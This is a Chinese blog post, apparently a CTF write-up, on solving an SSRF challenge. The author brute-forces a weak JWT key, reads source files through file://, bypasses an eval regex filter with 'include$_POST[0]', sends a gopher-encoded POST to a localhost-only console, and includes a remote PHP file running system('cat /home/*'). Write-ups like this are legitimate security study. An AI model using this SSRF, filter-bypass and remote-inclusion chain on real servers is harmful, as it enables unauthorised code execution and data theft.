一道ssrf

26 篇文章 0 订阅

前言 : 我最开始写文章的初衷是为了写给自己看的,然后记录自己的学习,也给自己留个回忆吧(感觉这个挺有意思的),然后现在可能慢慢会在意下读者的感受,嘻嘻。。。

然后这个题也不难,就是ssrf没学好,基础不够牢,也没咋遇到,然后记录一下,感觉还有点小意思吧。。。

那个环境没了,eee就没有截图啦。。。

开始是一个平台,然后我们是guest用户,然后提示我们要成admin嘛(下面那个是后面的截图,之前的没了)
在这里插入图片描述
然后是弱密钥,爆破,密钥为12345,然后改成admin用户,然后跳转到/index.php?comment=http://127.0.0.1/console.php
很明显的一个ssrf嘛,然后用file协议读了一些文件

console.php

 <?php
error_reporting(0);
require("functions.php");
$com = $_POST['com'];
// if(ssrf_check() && Limit_command($comment)){
echo $com;
if(ssrf_check()){
    if(isset($_POST['com'])){
        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\(|\{|\}|<|>|\s/i", $com)){
                // assert($com);
                eval($com);
            }else{
                die('hack');
            }
            }

}else{
    die('<script>alert("非本地访问")</script>');
}

echo '

functions.php

 <?php
require("jwt.php");

function check(){
    $Jwt_token=$_COOKIE['token'];
    $getPayload_test=Jwt::verifyToken($Jwt_token);
    if($getPayload_test){
        if($getPayload_test['username']==="admin"){
           return true;
        }
    }
    return false;
}

function ssrf_check(){
    //获取客户端ip
    if(getenv("REMOTE_ADDR")){
        $ip = getenv("REMOTE_ADDR");
    }
    if($ip==='127.0.0.1'){
        return true;
    }
    return false;
}



?>

然后大至思路就出来了,就是gopher打console.php

然后正则是用com=include$_POST[0];这个绕过的

下面就是构造POST请求了,这里就是ssrf搞的少,当时没有很快的搞出来,现去搜了一波
在这里插入图片描述

然后要注意一下Content-Length的值

然后这样后,下一步打算怎么操作呢,是直接这样传这个POST嘛
在这里插入图片描述
我开始是这样想,然后发现传是传过去了,但是打不通。。。
在这里插入图片描述
然后我换了种就是
在这里插入图片描述
然后打通了,但是没找到flag,然后感觉要rce才行。。。
然后试了其他协议吧,发现都不行。。。。然后最后发现可以包含外网。。那就简单了呀

然后用这个
在这里插入图片描述
这里有个细节,就是3.php的内容我开始写的是
<?php system('ls'); ?>

然后打过去的回显发现是自己vps上的当前目录的文件,猜测是直接把php的内容给执行了,就有点像pearcmd那个东西的一个方法那种,也是今天上午才搞那个,然后就联想到了,最后猜flag在/home下,拿下

最后用的3.php的代码

<?php
echo "<?php system('cat /home/*');system('ls /home');?>";
?>

在这里插入图片描述
然后bp里的那个post数据先url加密一次,然后%0a替换成%0d%0a,再加密一次,然后直接gopher打就好

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值